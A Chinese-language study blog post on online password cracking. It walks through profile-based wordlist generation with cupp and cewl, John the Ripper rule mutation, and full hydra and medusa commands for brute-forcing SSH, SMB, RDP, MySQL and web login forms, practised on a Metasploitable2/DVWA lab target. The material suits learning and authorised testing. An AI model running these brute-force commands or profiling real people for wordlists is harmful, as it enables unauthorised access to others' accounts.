前言:这次学习密码破解类型的知识。本篇文章是在线密码破解模块。

平时收集各种字典,或者github上的一些项目收集。

  1. 放个github项目,
    一个使用python3写的工具——cupp
    描述:按个人信息生成其专属字典。
    简单使用:
    m0re
    使用cupp这个py文件,使用-i参数会进入一个交互模式,下面会问一些有关被破解者的一些信息。
    m0re
    第一是他的姓名和生日信息,
    第二是父母的基本信息
    第三是孩子的信息
    还有宠物的信息,可以省略不写。
    最后红框里的是是否要加一些关键词、一些特殊字符、一些随机数。
    然后就会生成以他名字命名的一个字典。
  2. cewl一个kali中自带的工具,使用--help查看使用参数
    简单使用
    1
    2
    3
    4
    5
    6
    7
    cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
    -m :最小单词长度
    -d :爬网深度
    -e :收集包含email地址信息
    -c :每个单词出现次数
    支持基本、摘要 身份验证
    支持代理
    emmm因为我自己的小网站爬不到东西,所以就爬百度了
    m0re
    然后看生成的字典
    m0re

用户密码变型

  • 基于cewl的结果进行密码变型
  • 末尾增加数字串
  • 字母大小写变化
  • 字母与符号相互转换
  • 字母与数字相互转换
  • P@$$w0rd
  1. 使用John the Ripper配置文件实现密码动态变型
    规则保存在/etc/john/john.conf
    首先截取一下一个范例字典
    m0re
    规则可以自己在john.conf中进行配置。
    然后使用命令

    1
    john --wordlist=pass.lst --rules --stdout > password.txt

    m0re
    配置规则较简单的话,很快就跑出来了。
    配置的话,在这个位置
    m0re

  2. 在线密码破解——hydra
    m0re
    九头蛇。
    下面是几种破解方式(命令)

    1
    2
    3
    4
    5
    Windows密码破解
    - hydra -l administrator -P pass.txt smb://1.1.1.1
    - hydra -l administrator -P pass.txt rdp://1.1.1.1
    linux密码破解
    - hydra -l root -P pass.txt ssh://1.1.1.1

    图形化界面xhydra
    m0re
    玩不转命令行的可以尝试这个。
    下面就使用metasploitable2靶机来试试爆破密码。
    首先使用root登录。然后保证字典中有正确的密码。
    保证主机能够ping通。

    1
    2
    hydra -l root -P a.txt ssh://192.168.2.133 -t 1 -vV
    -t参数是限制并发数,防止被拒绝连接。

    不过会比较慢一点。
    不过这个是个靶机,应该不会有这样的设置,但是还是多等一会比较保险。
    m0re
    这里已经爆破成功,就是时间有点慢,其他的还行。如果想快一点,可以将正确密码放在靠前的位置。

http表单身份验证。

1
hydra -l admin -P pass.txt 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -t 1 -V

进行测试。
注:在index.php处,是指定返回正确的标志,吐过登录成功,返回页面中肯定是包含index.php,所以就设置Login:S=index.php
然后就是等待破解。

  1. 在线密码破解——medusa
    Hydra的缺点
  • 稳定性差,程序时常崩溃
  • 速度控制不好,容易触发服务屏蔽或锁死机制
  • 没主机新建进程,没服务新建实例
  • 大量目标破解时性能差
    Medusa的特点
  • 稳定性好
  • 速度控制得当
  • 基于线程
  • 支持模块少于hydra(不支持RDP)
  • web-form支持存在缺陷
    简单使用
    1
    2
    medusa 破解windows密码
    medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F
    参数解析-F表示如果检测到正确密码就不再继续检测。
    -M使用mod的名称
    1
    2
    medusa破解linux密码
    medusa -M ssh -h 1.1.111.1 -u root -P pass.lst -e ns -F
    其他服务密码破解
    1
    2
    3
    4
    medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
    medusa -h 1.1.1.1 -u admin -P pass.lst -e ns -F
    #表单破解
    medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FROM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FROM-DATA:"post?user=username&pass=password&Login=Login"
    常用参数
    1
    2
    3
    -n :非默认端口
    -s :使用SSL连接
    -T :并发主机数
    medusa支持的模块
    m0re
    使用时,不需要加上.mod直接加名称就行。
    详细使用,可以利用-h参数来研究。

在线密码破解模块到此结束,下次学习离线密码破解。